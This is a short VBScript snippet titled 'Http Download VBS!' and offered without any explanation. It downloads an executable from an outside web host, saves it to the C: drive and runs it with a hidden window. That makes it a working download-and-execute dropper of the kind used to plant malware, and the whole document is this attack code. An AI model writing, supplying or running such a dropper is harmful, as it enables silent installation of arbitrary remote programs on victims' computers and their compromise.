Http Download VBS!

Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.gwlz.cn/100.exe",0
xPost.Send()
Set sget=createObject("ADODB.Stream")
sget.Mode=3
sget.Type=1   
sget.open
sget.write xpost.responseBody
sget.savetofile "c:\1.exe",2
sget.close
set Q = createobject("shell.application")
Q.ShellExecute "c:\1.exe",open,0